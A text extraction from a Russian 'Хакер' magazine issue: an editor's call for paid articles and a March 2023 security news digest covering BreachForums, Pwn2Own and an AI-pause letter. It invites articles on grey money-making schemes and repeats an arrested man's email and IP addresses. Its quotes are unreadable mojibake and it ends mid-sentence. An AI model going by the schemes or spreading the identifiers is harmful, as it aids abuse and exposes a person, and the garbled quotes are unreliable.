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полное отсутствие рекламы на сайте
(при условии, что ты залогинишься);
возможность скачивать выходящие
каждый месяц номера в PDF, чтобы
читать на любом удобном устройстве;
личную скидку 20%, которую
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годовой подписки. Скидка накапливается
с каждым продлением.

Если по каким-то причинам у тебя еще нет
подписки или она скоро кончится, 

спеши исправить это!
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Ес ли ты чита ешь «Хакер» регуляр но, то
навер няка уже встре чал мно гочис ленные
при зывы редак ции написать нам статью.
Ведь боль шую часть наших матери алов
пишут не какие-то спе циаль но обу чен ные
люди, а прос тые айтиш ники, хакеры
и безопас ники. Редак торы же толь ко
помога ют довес ти текст до ума и нем ножко
оли тера турить. И вот у меня воз никла новая
идея, как мотиви ровать потен циаль ных
авто ров: рас ска зать, какие статьи нам нуж- 
ны в пер вую оче редь.

Су щес тву ют темы, о которых «Хакер» мог бы писать бес конеч но и для которых
пос тоян но не хва тает рук. Давай прой дем ся по ним и ты подума ешь, не готов
ли взять ся за что-то из это го. Если вдруг появит ся идея — откры вай поч товик
и шли пись мо на , а если пред почита ешь «Телег рам», то
на . Ответ гаран тирован, хоть и не момен таль ный!

pismenny@glc.ru
@apismenny
На поми наю, что наши авто ры получа ют за работу гонора ры, помимо того,

что чита ют «Хакер» бес плат но. Сум мы варь иру ются в зависи мос ти от темы
и слож ности матери ала.

ÒÅÌÀ 1. ÓÒÈËÈÒÛ ÄËß ÂÇËÎÌÀ

Пос тоян ные читате ли навер няка пом нят руб рику X-Tools, где мы делали обзо- 
ры новых хакер ских ути лит. В какой-то момент кон чились не то ути литы, не то
авто ры этой руб рики, и в ито ге она куда-то зап ропас тилась. Воз рождать ее
мы не пла ниру ем, но сами руководс тва по хак тулзам нуж ны как никог да —
при чем как по новым, так и по ста рым, хорошо извес тным. Со вре менем
меня ется и набор фун кций, и кон текст, и мно гое дру гое. Вещь, о которой нуж- 
но пом нить, берясь за такой текст: он не дол жен быть перево дом справ ки
к ути лите. Гораз до инте рес нее показать тул зу в деле и рас ска зать о раз ных
слу чаях, в которых она может при годить ся.

ÒÅÌÀ 2. ÒÐÞÊÈ, ÀÂÒÎÌÀÒÈÇÀÖÈß È DIY

Каж дый ува жающий себя гик и тем более сисад мин или безопас ник неп- 
рерыв но улуч шает свой рабочий про цесс. В ход идут раз ные средс тва авто- 
мати зации и тон кой нас трой ки опе раци онной сис темы. Мы бы хотели вре мя
от вре мени пуб ликовать статьи, которые рас ска жут читате лям о раз ных
неоче вид ных ходах и полез ных прог раммах. Сюда же отно сит ся и вся кое
самоде лие: если ты смас терил кос мичес кий корабль из кофевар ки и ста рого
смар тфо на, из это го навер няка вый дет забой ное чти во!

ÒÅÌÀ 3. ÑÐÀÂÍÅÍÈÅ ÑÐÅÄÑÒÂ ÇÀÙÈÒÛ

По сути, это обык новен ные тес ты соф та, но не любого, а для обес печения
безопас ности — как лич ной, так и кор поратив ной. От дес ктоп ных анти виру- 
сов и фай рво лов до SIEM. Прог раммы обя затель но нуж но про бовать самос- 
тоятель но, по воз можнос ти в усло виях, приб лижен ных к боевым. В качес тве
хороше го при мера мож но пос мотреть наш 

.
цикл ста тей про бес плат ные анти- 

виру сы

ÒÅÌÀ 4. ÀÍÀËÈÇ ÏÐÈÂÀÒÍÎÑÒÈ ÏÎÏÓËßÐÍÎÃÎ ÑÎÔÒÀ

Раз работ чики прог рамм час то наделя ют свои тво рения незамет ными фун кци- 
ями, которые не толь ко не помога ют поль зовате лю, но и вре дят ему, отправ- 
ляя лич ные дан ные на какой-нибудь левый сер вер. Кто-то дол жен обна ружи- 
вать эту активность и сооб щать о ней. Взяв в руки TCPView или Wireshark, ты
можешь стать тем самым геро ем, который выведет зло деев на чис тую воду.
В качес тве при мера можешь гля нуть  о том, как Windows 10 не отли- 
пает от сер веров Microsoft. Про верять, кста ти, мож но не толь ко софт, но и
любые умные устрой ства, до которых получит ся дотянуть ся.

статью

ÒÅÌÀ 5. ÓßÇÂÈÌÎÑÒÈ È ÒÅÕÍÈÊÈ ÂÇËÎÌÀ Ñ ÍÓËß

За все вре мя сущес тво вания «Хакера» мы неод нократ но и на раз ные лады
объ ясня ли все основные тех ники атак. Но, как и в слу чае с ути лита ми, кон- 
текст пос тоян но меня ется, и тол ковые, под робные и новые опи сания даже
самых базовых вещей вро де под бора пароля или SQL-инъ екций будут полез- 
ны новым читате лям. Как сде лать тол ково? Показы вать всё на прак тике,
давать при меры из реаль ных кей сов, не жалеть ссы лок на допол нитель ные
матери алы.

ÒÅÌÀ 6. ÊÎÄÈÍÃ

В руб рику «Кодинг» сей час нуж но нес коль ко фор матов. Пер вый — цик лы
в духе наших ста тей « », но по дру гим язы кам. В пер вую оче- 
редь — Java, JavaScript и Go. Это матери алы для абсо лют ней ших нович ков.
Вто рой нуж ный фор мат — тех ники написа ния хак тулз: скре перов, сниф феров,
фаз зеров и про чей хакер ской веселу хи. Тре тий — «кодинг для про фи»: про- 
фес сиональ ные советы о том, как писать опти маль ный, более защищен ный
и лег ко под держи ваемый код на одном из популяр ных язы ков.

Python с нуля

ÒÅÌÀ 7. ÇÀÐÀÁÎÒÎÊ Â ÈÍÒÅÐÍÅÒÅ

Мно жес тво людей зараба тыва ет день ги изощ ренны ми спо соба ми, которые,
с одной сто роны, не най дешь в клас сифика торе про фес сий, с дру гой —
не отно сят ся к кри мина лу и в худ шем слу чае наруша ют какое-нибудь поль- 
зователь ское сог лашение. Сбор дан ных с сай тов, которые от это го защище- 
ны, нак рутка рей тин гов, мас совое соз дание акка унтов и про чее в таком духе,
а так же пре дос тавле ние сопутс тву ющих товаров и услуг. Обо всем этом мож- 
но инте рес но рас ска зать, имея лич ный опыт или дос таточ но зна комств в этой
области. Инте рес ны как прак тичес кие статьи, так и рас ска зы об индус трии:
что сколь ко сто ит, где про дает ся, какие есть неоче вид ные момен ты.

ÍÀÏÓÒÑÒÂÈÅ

Обыч но человек, читав ший «Хакер», уже неп лохо пред став ляет себе, как выг- 
лядят наши статьи. Но на вся кий слу чай напом ню: мы ста раем ся писать
живым язы ком, без зауми; обща емся с читате лем на ты и исполь зуем те сло- 
ва, которы ми обсужда ли бы те же темы меж ду собой. Юмор и хорошее нас- 
тро ение всег да при ветс тву ются!

Но не буду пов торять ся — , я уже давал в одном
из прош лых выпус ков колон ки. Читай, вдох новляй ся и дай знать мне
или кому-то из редак торов, ког да при дума ешь под ходящую тему.

со веты о том, как писать

mailto:apismenny@gmail.com
http://mailto:pismenny@glc.ru/
https://t.me/apismenny
https://xakep.ru/2020/03/19/best-av-test-8/
https://xakep.ru/2015/09/03/windows-10-spying/
https://xakep.ru/2021/06/21/python-for-newbies/
https://xakep.ru/2022/09/23/how-to-write/


 «Mifrill» Мария Нефёдова
nefedova@glc.ru

В этом месяце: пред став лен дис три бутив Kali Purple, уче ные
и экспер ты при зыва ют при оста новить обу чение ИИ, пра- 
воох раните ли арес товали соз дателя BreachForums, дро ны
DJI рас кры вают мес тополо жение сво их опе рато ров, Twitter
ищет челове ка, который слил исходные коды ком пании
на GitHub, в TPM 2.0 выяв лены опас ные уяз вимос ти, а так же
дру гие инте рес ные события мар та.

KALI PURPLE
ДЛЯ БЕЗОПАСНИКОВ

Ком пания Offensive Security выпус тила Kali Linux 2023.1, пер вую в 2023 году
вер сию (к тому же при уро чен ную к десяти летию про екта), с новым дис три- 
бути вом Kali Purple, который пред назна чен для blue и purple team, то есть ори- 
енти рован на обо рони тель ную безопас ность.

«

»

«Çà ïðî øåä øèå ãîäû ìû óñî âåð øåíñ òâî âàëè òî, íà ÷åì ñïå öèàëè  
çèðî âàëèñü, òî åñòü íàñ òóïàòåëü íóþ áåçîïàñ íîñòü. Òåïåðü ìû
íà÷èíà åì ïåðåõîä â íîâóþ îáëàñòü — îáî ðîíè òåëü íóþ áåçîïàñ  
íîñòü, — ïèøóò â Offensive Security. — Ìû äåëà åì ïðåä ñòàð òîâûé
çàïóñê îçíà êîìè òåëü íîé òåõ íè÷åñ êîé âåð ñèè Kali Purple. [Äèñ òðè áóòèâ]
ïîêà íàõîäèò ñÿ íà íà÷àëü íîì ýòà ïå ðàç âèòèÿ, è åìó ïîò ðåáó åòñÿ âðå  
ìÿ, ÷òî áû ñîç ðåòü. Íî âû óæå ìîæåòå âèäåòü íàï ðàâëå íèå, â êîòîðîì
ðàç âèâà åòñÿ Kali, à òàê æå ìîæåòå ïðè íÿòü ó÷àñ òèå â ôîð ìèðîâà íèè
ýòî ãî íàï ðàâëå íèÿ!»

Хо тя дис три бутив еще на ран них ста диях раз работ ки, он уже вклю чает в себя
более 100 защит ных инс тру мен тов, в том чис ле Malcolm, Suricata, Arkime,
TheHive и Zeek, а так же име ет , которая поможет начать
работу.

спе циаль ную Wiki

Kali Purple уже мож но заг рузить в виде  для сис тем x64/AMD64.ISO-обра за
Кро ме того, сто ит отме тить, что в сос тав Kali 2023.1 вош ли сра зу восемь

новых инс тру мен тов:
• Arkime — инс тру мент для зах вата и поис ка пакетов с откры тым исходным

кодом;
• CyberChef — нас тоящий «муль титул», поз воля ющий ана лизи ровать, рас- 

шифро вывать, деоб фуциро вать и декоди ровать дан ные с помощью самых
раз ных инс тру мен тов;

• DefectDojo — опен сор сный инс тру мент для кор реляции и оркес тров ки
безопас ности и управле ния уяз вимос тями при ложе ний;

• Dscan — wrapper для Nmap для рас пре делен ного сбо ра сетевых дан ных;
• Kubernetes-Helm — плат форма управле ния пакета ми Kubernetes с откры- 

тым исходным кодом;
• PACK2 — ком плект для ана лиза и взло ма паролей;
• Redeye — инс тру мент, приз ванный помочь наибо лее эффектив но и орга- 

низо ван но управлять сво ими дан ными во вре мя пен теста;
• Unicrypto — еди ный интерфейс для ряда крип тоал горит мов.

 КОМПАНИЙ НЕ ХВАТАЕТ ИБ-СПЕЦИАЛИСТОВ42%

По дан ным «Лабора тории Кас пер ско го», более тре ти ком паний в Рос сии ( ) вынуж дены
обра щать ся к пос тавщи кам управля емых IT- и ИБ-услуг (MSP/MSSP) из-за нех ватки собс твен- 
ных спе циалис тов.

42%

Ана логич ное же чис ло рес понден тов (по ) ука зали две дру гие при чины работы с ком пани- 
ями в сфе ре ИБ на аут сорсе: более высокая эффектив ность и необ ходимость сле довать тре- 
бова ниям регуля торов.

42%

Око ло тре ти опро шен ных отме тили недос таток опы та в сфе ре кибер безопас ности внут ри сво ей
орга низа ции ( ) и финан совую выгоду, свя зан ную с опти миза цией зат рат на под дер жку
шта та, покуп ку лицен зий, раз ворачи вание и мас шта биро вание IT-инфраструк туры ( ).

36%
32%

СОЗДАТЕЛЬ
BREACHFORUMS
АРЕСТОВАН

В кон це мар та ста ло извес тно об арес те живуще го в Нью-Йор ке вла дель ца
и осно вате ля хакер ско го форума BreachForums (известен в сети
как Pompompurin).

В пос леднее вре мя BreachForums был круп ней шим хак-форумом, пос- 
вящен ным утеч кам дан ных, и обыч но имен но он исполь зовал ся взлом щиками
и вымога теля ми для сли ва информа ции. Ресурс был запущен
Pompompurin’ом в прош лом году, пос ле того как ФБР  хакер ский сайт
RaidForums.

зак рыло

Лич но Pompompurin и дру гие учас тни ки BreachForums свя заны со мно жес- 
твом гром ких взло мов и уте чек дан ных, вклю чая кра жу дан ных 

, утеч ку дан ные ,
недав ние ата ки на  и .

мил лионов
поль зовате лей Robinhood 5,4 мил лиона поль зовате лей Twitter

Acer Activision
По дан ным минис терс тва юсти ции, до отклю чения на BreachForums нас- 

читыва лось более 340 тысяч поль зовате лей. По сос тоянию на 11 янва- 
ря 2023 года в БД плат формы было 888 наборов дан ных, сос тоящих более
чем из 14 мил лиар дов отдель ных записей.

Вско ре пос ле арес та осно вате ля ресур са оставший ся адми нис тра тор,
извес тный под ником Baphomet, был вынуж ден зак рыть сайт окон чатель но,
так как обна ружил, что про дол жать работу небезо пас но, ведь к инфраструк- 
туре BreachForums, похоже, уже получи ли дос туп пра воох раните ли.

Де ло в том, что, ког да инфраструк тура BreachForums была отклю чена,
в сети остался ста рый CDN-сер вер, на котором раз мещались не слиш ком
важ ные дан ные.

«

»

«Âî âðå ìÿ ìèã ðàöèè ÿ ïðî âåðÿë, íå ïðî èñõî äèò ëè ÷åãî òî ïîäîç  
ðèòåëü íîãî, ÷òî ìîã ëî áû âûçûâàòü áåñ ïîêîé ñòâî, — ïèñàë
Baphomet. — Îäíèì èç ïðî âåðåí íûõ ìíîé ñåð âåðîâ áûë íàø ñòà ðûé
ñåð âåð CDN, óïî ìÿíó òûé âûøå. Ïîõîæå, êòî òî âõî äèë â ñèñ  
òåìó 19 ìàð òà, â 1:34 EST, äî òîãî, êàê íà ñåð âåð âîøåë ÿ.

Ê ñîæàëå íèþ, ýòî ïðè âîäèò íàñ ê âûâîäó, ÷òî, ñêî ðåå âñå ãî,
ó êîãî òî åñòü äîñ òóï ê ìàøèíå Pom’a. Íàøè ñåð âåðû íèêîã äà
íå èñïîëü çóþò ñÿ êåì òî åùå, ïîýòî ìó êòî òî äîë æåí áûë çíàòü ó÷åò  
íûå äàí íûå, ÷òî áû èìåòü âîç ìîæíîñòü âîé òè â ñèñ òåìó.

Òå ïåðü ÿ ÷óâñ òâóþ, ÷òî îêà çàë ñÿ â ñèòó àöèè, êîã äà íåëü çÿ ñ÷è òàòü,
÷òî õîòü ÷òî òî íàõîäèò ñÿ â áåçîïàñ íîñòè, áóäü òî íàøè êîí ôèãóðà  
öèè, èñõîäíûé êîä èëè èíôîðìà öèÿ î íàøèõ ïîëü çîâàòå ëÿõ — ñïè ñîê
áåñ êîíå÷åí».

Как в ито ге сооб щили аме рикан ские влас ти, 20-лет нему Кон нору Брай ану
Фит цпат рику (Conor Brian FitzPatric), так же извес тно му как Pompompurin,
предъ явле ны обви нения, свя зан ные с хищени ем и про дажей кон фиден циаль- 
ной лич ной информа ции, при над лежащей «мил лионам граж дан США, а так же
сот ням аме рикан ских и инос тран ных ком паний, орга низа ций и государс твен- 
ных учрежде ний». Фит цпат рик обви няет ся в сго воре с целью совер шения
мошен ничес тва с устрой ства ми дос тупа, и в слу чае приз нания винов ным ему
гро зит до пяти лет тюрем ного зак лючения.

В нас тоящее вре мя Фит цпат рик уже пред стал перед судом и был отпу щен
под залог в раз мере 300 тысяч дол ларов.

В судеб ных докумен тах спе циаль ный агент ФБР Джон Лон гмайр (John
Longmire) рас ска зыва ет, что ФБР получи ло дос туп к БД BreachForums и это
помог ло уста новить, что Фит цпат рик дей стви тель но Pompompurin.

Пра воох раните ли приш ли к таким выводам на осно вании жур налов
активнос ти и дан ных интернет-про вай дера обви няемо го, Optimum Online
(учет ная запись зарегис три рова на на адрес conortz@optimum.net), а так же
дан ных, получен ных от ком паний Verizon, Google и Apple.

Свя зать Фит цпат рика с лич ностью осно вате ля BreachForums помог час- 
тный раз говор, в ходе которо го Фит цпат рик сооб щил вла дель цу ныне зак- 
рытого RaidForums, что укра ден ная база дан ных ai.type, попав шая на Have I
Been Pwned, не содер жит его ста рый поч товый адрес
conortzpatrick02@gmail.com. Дос туп к это му чату пра воох раните ли получи ли
пос ле лик видации RaidForums и кон фиска ции сер веров.

Лон гмайр пишет, что, помимо это го, ФБР выяви ло IP-адрес Фит цпат рика
в Optimum Online (69.115.201.194), попав ший в базу BreachForums, так
как однажды он исполь зовал его для вхо да на хак-форум, судя по все му
забыв исполь зовать Tor или вклю чить VPN (так же веро ятно, что VPN-сер вис
допус тил сбой). Этот же IP был свя зан с лич ным акка унтом iCloud Фит цпат- 
рика.

Кро ме того, дан ные Verizon показа ли, что IP-адре са, ранее исполь зован- 
ные для дос тупа к учет ной записи Pompompurin на RaidForums, были при вяза- 
ны к мобиль ным устрой ствам, зарегис три рован ным на Фит цпат рика, который
про жива ет в доме сво его отца в городе Пик скил ле.

В ходе арес та сам обви няемый откры то приз нался пра воох ранитель ным
орга нам (без при сутс твия адво ката), что имен но он скры вает ся за псев- 
донимом Pompompurin на BreachForums.

«
»

«Îí òàê æå ïðèç íàë, ÷òî âëà äååò BreachForums è óïðàâëÿ åò èì, à ðàíåå
óïðàâëÿë ó÷åò íîé çàïèñüþ Pompompurin íà RaidForums. Ïî åãî îöåí  
êàì, îí çàðàáà òûâàë îêî ëî 1000 äîë ëàðîâ â äåíü íà BreachForums
è èñïîëü çîâàë ýòè äåíü ãè äëÿ àäìè íèñ òðè ðîâà íèÿ ðåñóð ñà è ïîêóï êè
äðó ãèõ äîìåíîâ», — ãëà ñÿò äîêóìåí òû.

ИИ ПОВЛИЯЕТ НА РЫНОК ТРУДА
Ис сле дова тели из Goldman Sachs под готови ли спе циаль ный отчет, пос вящен ный тому,
как ИИ-сис темы могут пов лиять на рынок тру да в США и Евро пе. По их мне нию, появ ление
генера тив ного ИИ может так или ина че зат ронуть до  рабочих мест. Одна ко боль- 
шинс тво отраслей и про фес сий будут толь ко час тично под верже ны авто мати зации и ско рее
будут допол нены, а не замене ны искусс твен ным интеллек том.

300 000 000

При мер но  всех рабочих мест может зат ронуть авто мати зация с исполь зовани ем ИИ,
который сни мет до  наг рузки с работ ников.

2/3
50%

Ожи дает ся, что лишь  тру дящих ся могут потерять свою дол жность и могут быть замене ны
ИИ. Еще в  слу чав ИИ возь мет на себя лишь часть задач, облегчив работу людям, а при- 
мер но  работа ющих людей раз витие ИИ-сис тем вооб ще не зат ронет.

7%
63%

30%

Око ло  всех рабочих задач, выпол няемых в США и Евро пе, могут быть авто мати зиро ваны
с помощью искусс твен ного интеллек та.

25%

В США наиболь шей угро зе «вытес нения» с рын ка тру да под верже ны офис ные и адми нис тра тив- 
ные работ ники ( ), юрис ты ( ), а так же спе циалис ты в области архи тек туры и про екти- 
рова ния ( ).

46% 44%
37%

На имень шей угро зе со сто роны ИИ под верга ются спе циалис ты по убор ке и обслу жива нию,
а так же ремон ту и стро итель ству.

Ес ли широко исполь зовать искусс твен ный интеллект, то общий рост мирово го ВВП может сос- 
тавить  в течение сле дующих десяти лет, счи тают экспер ты.7%

SYNACKTIV
ПОБЕДИЛА
НА PWN2OWN

На кон ферен ции CanSecWest завер шилось хакер ское сорев нование
Pwn2Own. В этом году спе циалис ты сум марно рас кры ли 27 уни каль ных 0-day-
уяз вимос тей, ском про мети ровав в чис ле про чего Tesla Model 3, Windows 11,
macOS и Ubuntu, и заб рали с собой 1 035 000 дол ларов и новую Tesla Model
3.

Бес спор ным лидером сорев нований ста ла фран цуз ская коман да
Synacktiv, в сос тав которой в этом году вош ли Элуа Бенуа-Ван дербе кен (Eloi
Benoist-Vanderbeken), Давид Берар (David Berard), Вин сент Деор (Vincent
Dehors), Тан ги Дуб рока (Tanguy Dubroca), Тома Бузерар (Thomas Bouzerar)
и Тома Имбер (Thomas Imbert).

На сче ту спе циалис тов сле дующие успешные взло мы и при зы:
• : цепоч ка экс пло итов, нап равлен ная на перепол- 

нение хипа и запись в OOB, поз воля ющая получить сво бод ный root через
инфо тей мент-сис тему ;

250 000 äîë ëàðîâ

Tesla Model 3

• : ата ка типа TOCTOU (time of check to time of use)
на ;
100 000 äîë ëàðîâ

Tesla Model 3

• : цепоч ка из трех оши бок, нап равлен ная на повыше ние
при виле гий на хос те ;
80 000 äîë ëàðîâ

Oracle VirtualBox

• : TOCTOU-ата ка на повыше ние при виле гий в 
;

40 000 äîë ëàðîâ Apple

macOS

• : повыше ние при виле гий в ;30 000 äîë ëàðîâ Ubuntu Desktop

• : ата ка на UAF в .30 000 äîë ëàðîâ Microsoft Windows 11

Сум марно коман да увез ла домой 530 тысяч дол ларов (это при мер но полови- 
на все го при зово го фон да сорев нований), Tesla Model 3 и зарабо тала 53 бал- 
ла Master of Pwn, обог нав всех сопер ников с огромным отры вом.

Это уже вто рой раз, ког да Synacktiv выиг рыва ет Pwn2Own. В прош лый раз
спе циалис ты Synacktiv  в 2021 году, на Pwn2Own Austin.за няли пер вое мес то

Те перь все пос тавщи ки дол жны испра вить про демонс три рован ные и рас- 
кры тые во вре мя Pwn2Own уяз вимос ти в течение 90 дней, а затем Trend Micro
Zero Day Initiative откры то опуб лику ет тех ничес кие под робнос ти всех исполь- 
зован ных на сорев новании 0-day-экс пло итов.

МЕДВЕДЕВ ПОДДЕРЖАЛ ПИРАТСТВО

Зам пред Сов беза РФ Дмит рий Мед ведев заявил, что счи тает пра виль ным ска чивать и рас- 
простра нять в сети пират ские копии филь мов и музыкаль ных про изве дений, которые ста ли
недос тупны в Рос сии по решению запад ных пра вооб ладате лей.

→ «Зна ете что? Ищи те пра виль ных пиратов и ска чивай те у них. Если они ушли
от нас, вся кие „Нет флик сы“ и про чие, зна чит, будем это все ска чивать, будем
поль зовать ся бес плат но. А я бы все это по сети раз бра сывал, для того что бы
при чинить им мак сималь ный урон. Мак сималь ный урон, что бы они обан кро- 
тились!»

— заявил Мед ведев в интервью рос сий ским СМИ, ком менти руя исчезно вение, в час тнос ти,
некото рой запад ной музыки из онлайн-сер висов в РФ.

Так же он отме тил, что рань ше отри цатель но отно сил ся к пиратс тву, как юрист, «и счи тал,
что луч ше переп латить», даже ког да ему говори ли, что «все есть на тор рент-тре керах».

ЗАДЕРЖИТЕ ИИ!

Бо лее тысячи человек, в чис ло которых вош ли про фес сора и ИИ-раз работ- 
чики, под писали откры тое пись мо, обра щен ное ко всем лабора тори ям,
занима ющим ся раз работ кой искусс твен ного интеллек та. В пос лании, опуб- 
ликован ном неком мерчес кой орга низа цией Future of Life, экспер ты при зыва- 
ют немед ленно при оста новить раз работ ку и обу чение ИИ, более мощ ных,
чем GPT-4, хотя бы на пол года.

Пись мо под писали мно гие извес тные люди, которые занима ются раз- 
работ кой и тех нологи ями в сфе ре ИИ, в том чис ле: соуч редитель OpenAI
Илон Маск, матема тик, кибер нетик и информа тик, наибо лее извес тный
работа ми в области искусс твен ного интеллек та, а так же осно ватель Mila
Йошуа Бен джио, соуч редитель Apple Стив Воз няк, гла ва Stability AI Эмад Мос- 
трак, пионер иссле дова ний в области ИИ Стю арт Рас сел, а так же осно ватель
Geometric Intelligence Гэри Мар кус.

В откры том пись ме упо мина ются потен циаль ные рис ки для общес тва
и челове чес тва, воз ника ющие в резуль тате быс тро го раз вития передо вых
ИИ-сис тем в отсутс твие общих про токо лов безопас ности. Под писав шиеся
счи тают, что потен циаль ные рис ки этой «револю ции» еще толь ко пред сто ит
все цело оце нить и учесть с помощью ком плексной сис темы управле ния, тог- 
да как положи тель ный эффект от этих тех нологий не гаран тирован.

«

»

«Ïðîä âèíóòûé ÈÈ ìîæåò ïîâ ëå÷ü çà ñîáîé çíà ÷èòåëü íûå èçìå íåíèÿ
â èñòî ðèè æèç íè íà Çåì ëå, è åãî ñëå äóåò ïëà íèðî âàòü è óïðàâëÿòü èì
ñ ñîîò âåòñ òâó þùåé îñòî ðîæ íîñòüþ è ðåñóð ñàìè, — ãëà ñèò ïîñ  
ëàíèå. — Ê ñîæàëå íèþ, òàêîãî ïëà íèðî âàíèÿ è óïðàâëå íèÿ íå ïðî  
èñõî äèò, íåâ çèðàÿ íà òî, ÷òî â ïîñ ëåäíèå ìåñÿöû ÈÈ ëàáîðà òîðèè
ââÿ çàëèñü â íåêîí òðî ëèðó åìóþ ãîí êó ïî ðàç ðàáîò êå è âíåä ðåíèþ âñå
áîëåå ìîù íûõ öèô ðîâûõ ðàçóìîâ, êîòîðûå íèê òî (âêëþ ÷àÿ èõ ñîç  
äàòåëåé) íå ìîæåò ïîíÿòü, ïðåä ñêà çàòü èëè íàäåæ íî êîí òðî ëèðî âàòü».

Так же пись мо пре дуп режда ет, что сов ремен ные ИИ-сис темы уже нап рямую
кон куриру ют с людь ми в выпол нении общих задач, что под нима ет ряд
экзистен циаль ных и эти чес ких воп росов, которые челове чес тву все
еще необ ходимо рас смот реть, обсу дить и решить.

Не кото рые из этих воп росов каса ются потока информа ции, генери руемой
ИИ, некон тро лиру емой авто мати зации рабочих мест, раз вития сис тем,
которые пре вос ходят челове ка и из-за которых люди могут «уста реть», а так- 
же кон тро ля над цивили заци ей в целом.

Эк спер ты счи тают, что мы дос тигли того момен та, ког да сле дует обу чать
более прод винутые ИИ-сис темы толь ко под стро гим над зором и лишь имея
уве рен ность в том, что рис ки, воз ника ющие при их раз верты вании, управля- 
емы.

«
»

«Ïîýòî ìó ìû ïðè çûâà åì âñå ÈÈ ëàáîðà òîðèè íåìåä ëåííî ïðè îñòà  
íîâèòü îáó ÷åíèå ÈÈ ñèñ òåì, áîëåå ìîù íûõ, ÷åì GPT-4, êàê ìèíèìóì
íà øåñòü ìåñÿöåâ, — ãîâîðèò ñÿ â ïèñü ìå. — Ýòà ïàóçà äîë æíà áûòü
ïóá ëè÷íîé è ïîä äàþùåé ñÿ ïðî âåð êå, è îíà äîë æíà çàò ðàãèâàòü âñåõ
êëþ ÷åâûõ ó÷àñ òíè êîâ. Åñëè òàêàÿ ïàóçà íå ìîæåò áûòü âçÿ òà áûñ òðî,
ïðà âèòåëü ñòâà äîë æíû âìå øàòü ñÿ è ââåñ òè ìîðàòî ðèé».

Во вре мя этой паузы раз работ чикам ИИ пред лага ется соб рать ся вмес те
и догово рить ся о соз дании еди ных про токо лов безопас ности, которые затем
смо гут исполь зовать ся для ауди тов, про води мых внеш ними незави симы ми
экспер тами.

Кро ме того, под писан ты полага ют, что полити кам сле дует при нять защит- 
ные меры и занять ся регули рова нием дан ной сфе ры. В час тнос ти, пред лага- 
ется соз дать сис тему «водяных зна ков», поз воля ющих эффектив но отли чать
под линный кон тент от фаль шивого, про рабо тать воз можность воз ложения
ответс твен ности за вред, при чинен ный матери ала ми, соз данны ми ИИ, а так- 
же выделить государс твен ное финан сирова ние на иссле дова ние рис ков, свя- 
зан ных с ИИ.

Пись мо не содер жит при зывов пол ностью прек ратить раз работ ку ИИ.
В нем, нап ротив, под черки вают ся потен циаль ные опас ности, свя зан ные
с рас тущей кон курен цией меж ду раз работ чиками ИИ, стре мящи мися занять
свою нишу на быс тро рас тущем рын ке.

«

»

«Ñ ÈÈ ÷åëîâå ÷åñ òâî ìîæåò íàñ ëàæäàòü ñÿ ïðåê ðàñíûì áóäóùèì. Ïðå  
óñïåâ â ñîç äàíèè ìîù íûõ ÈÈ ñèñ òåì, ìû ìîæåì íàñ ëàæäàòü ñÿ „ðàñ  
öâå òîì ÈÈ“ è ïîæèíàòü ïëî äû, ðàç ðàáàòû âàÿ ýòè ñèñ òåìû äëÿ âñå  
îáùå ãî áëà ãà è äàâàÿ îáùåñ òâó øàíñ àäàï òèðîâàòü ñÿ. Îáùåñ òâî ïðè  
îñòà íîâè ëî ðàç âèòèå äðó ãèõ òåõ íîëîãèé, íåñóùèõ ïîòåí öèàëü íî
êàòàñ òðî ôè÷åñ êèå ïîñ ëåäñ òâèÿ. Ìû ìîæåì ïîñ òóïèòü òàê æå
è çäåñü», — çàê ëþ÷à þò ýêñïåð òû.

 ВЫВЕЛИ С BINANCE2 ÌÈËËÈÀÐÄÀ ÄÎËËÀÐÎÂ

За пос леднюю неделю мар та отток средств с крип товалют ной бир жи Binance сос тавил 
 США. Об этом сооб щило изда ние Wall Street Journal со ссыл кой на дан ные

ана лити чес кой плат формы Nansen.

2,1 мил  
лиар да дол ларов

На обще дос тупных кошель ках бир жи в нас тоящий момент содер жится 
. Тем пы сня тия средств пре выси ли обыч ную активность и уско рились пос ле объ явле ния

Комис сии по тор говле товар ными фьючер сами США (CFTC) о том, что та пода ет в суд на крип- 
товалют ную бир жу, обви няя ее в незакон ной деятель нос ти на тер ритории США.

63,2 мил лиар да дол  
ларов

До ля ком пании на рын ке упа ла на  с 24 мар та 2023 года, сооб щают ана лити ки ком пании
CryptoCompare.

30%
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УТЕКЛИ ИСХОДНИКИ
TWITTER

Ком пания Twitter добилась уда ления с GitHub внут ренних исходных кодов сво- 
ей плат формы и инс тру мен тов, которые утек ли в откры тый дос туп нес коль ко
месяцев назад. Теперь Twitter тре бует от GitHub рас крыть дан ные челове ка,
который слил исходни ки, и всех, кто получал к ним дос туп.

В кон це месяца пред ста вите ли GitHub были вынуж дены отре аги ровать
на наруше ние закона «Об автор ском пра ве в циф ровую эпо ху» (DMCA) и 

, которая заяви ла об утеч ке проп риетар ных исходных кодов и внут- 
ренних инс тру мен тов, что мог ло пред став лять угро зу для безопас ности ком- 
пании.

жа- 
лобу Twitter

Сог ласно жалобе, источни ком утеч ки стал поль зователь
FreeSpeechEnthusiast, при чем его ник — явная отсылка к сло вам Ило на Мас- 
ка, который час то называ ет себя абсо лютис том в воп росах сво боды сло ва
(free speech absolutist). То есть, веро ятно, информа цию слил недоволь ный
сот рудник Twitter (ско рее все го, уво лен ный пос ле покуп ки ком пании Мас ком).
В нас тоящее вре мя учет ная запись FreeSpeechEnthusiast 

, но у поль зовате ля нет дру гих обще дос тупных репози тори ев.
по-преж нему

активна
По информа ции СМИ, ког да имен но про изош ла утеч ка, неиз вес тно,

но жур налис ты счи тают, что исходни ки были дос тупны в сети «в течение
как минимум нес коль ких месяцев».

В сво ей жалобе на наруше ние автор ских прав Twitter тре бует от GitHub
пре дос тавить информа цию об исто рии дос тупов к этой утеч ке, веро ятно
желая опре делить ее источник.

«
»

«Ïîæàëóé ñòà, ñîõ ðàíèòå è ïðå äîñ òàâü òå êîïèè ëþáûõ èñòî ðèé çàã  
ðóçêè/ñêà ÷èâà íèÿ/äîñ òóïà (è ëþáîé êîí òàê òíîé èíôîðìà öèè, IP-àäðå  
ñîâ èëè äðó ãèõ ñâÿ çàí íûõ äàí íûõ î ñåàí ñå), à òàê æå ëþáûõ æóð íàëîâ,
ñâÿ çàí íûõ ñ ýòèì ðåïîçè òîðè åì è ëþáûìè åãî ôîð êàìè, ïðåæ äå ÷åì
óäà ëÿòü âåñü íàðóøà þùèé àâòîð ñêèå ïðà âà êîí òåíò ñ GitHub», — ãëà  
ñèò äîêóìåíò.

В нас тоящее вре мя Twitter пыта ется исполь зовать судеб ную повес тку, что бы
